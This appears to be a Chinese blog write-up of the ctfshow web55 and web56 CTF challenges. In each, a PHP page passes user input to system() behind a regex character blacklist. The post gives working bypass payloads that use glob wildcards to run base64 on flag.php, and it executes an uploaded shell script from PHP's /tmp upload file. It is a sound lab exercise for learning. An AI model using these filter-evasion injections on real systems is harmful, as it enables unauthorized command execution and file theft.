ctfshow web入门55,56

最近在做这系列的题,这两题又学到了新姿势,赶紧记录一下

web55
<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

过滤了字母,不过通配符?和数字没有过滤,可以用bin下的base64命令(为啥用base64?因为它含有数字64可以用????64来匹配,其他命令无法匹配到)

解法1

正常的命令为/bin/base64 flag.php
过滤了字母后用?匹配
payload:c=/???/????64 ????????

在这里插入图片描述base64解密即得到flag

解法2

参考了Firebasky师傅的wp以及p神的文章

在linux shell中,.可以用当前的shell执行一个文件中的命令,比如.file就是执行file文件中的命令。所以本题可以post上传一个包含命令的文件,然后通过.来执行文件中的命令即可读到flag。
但有个问题,怎么去找到我们上传的文件呢?
当我们post上传一个文件后,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机生成的大小写字母。想当然的我们会用/???/?????????去匹配这个文件。
这里又会出现一个问题:符合这样的文件有好几个,这样其实匹配不到刚刚上传的文件。
翻阅p神文章可以知道,与正则表达式类似,glob支持利用[0-9]来表示一个范围,所以我们可以用[A-Z]来匹配文件的最后一位,但因为过滤了字母,需要把A改为A的前一位@,把Z改为Z的后一位[来匹配大写字母。
那么最终payload为c=. /???/????????[@-[]
这里说下为什么要匹配大写字母,因为其实用/???/?????????匹配到的其他文件都是小写字母,只有php临时生成的文件才包含大写字母,不过因为是随机生成的大写字母,不一定每次都是大写,可以多试几下。
分析完毕,接下来开始操作
首先需要上传一个文件,这需要构造一个post上传文件的数据包,但这里是我的知识盲区。。。所以本菜鸡还是选择用postman来上传文件。
在这里插入图片描述2.php中的内容为

#!/bin/sh
ls

可以看到有flag.php,将文件内容改为

#!/bin/sh
cat flag.php

重新上传
在这里插入图片描述成功拿到flag

web56
<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

在上题的基础上连数字也过滤了,所以不能用解法1的payload,但解法2依然可以
在这里插入图片描述

  • 7
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
你好!对于CTFshow中的"web入门 web56"题目,我可以给你一些建议。首先,我不能提供具体的答案,但我可以和你一起思考和讨论问题。 在解决这个题目之前,你需要了解一些基础的Web安全知识。首先,你需要了解常见的Web攻击技术,如SQL注入、XSS、CSRF等。其次,你需要掌握一些常用的Web开发技术,如HTML、CSS、JavaScript和PHP等。 对于web56这道题目,你可以尝试以下几个步骤来解决它: 1. 分析题目:仔细阅读题目描述和给出的源代码,了解题目背景和要求。注意可能存在的漏洞或脆弱点。 2. 探索漏洞:尝试输入一些恶意或异常的数据,看是否能触发漏洞。比如尝试使用单引号或双引号绕过输入过滤,或者尝试各种可能的注入攻击。 3. 利用漏洞:如果你成功找到了漏洞,尝试利用它来获取敏感信息或执行一些操作。比如利用SQL注入获取数据库中的数据,或者尝试进行命令执行等。 4. 提交答案:一旦你成功解决了题目,根据题目要求提交答案。可能需要提交某种形式的标志或证明你成功解决了问题。 请记住,CTF题目的目的是学习和提高安全意识,而不是为了进行真实的攻击。在尝试解决题目时,请遵循合法和道德的原则,并遵循平台的规则和要求。 祝你好运,希望你能成功解决这个题目!如果你还有其他问题,请随时提问。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值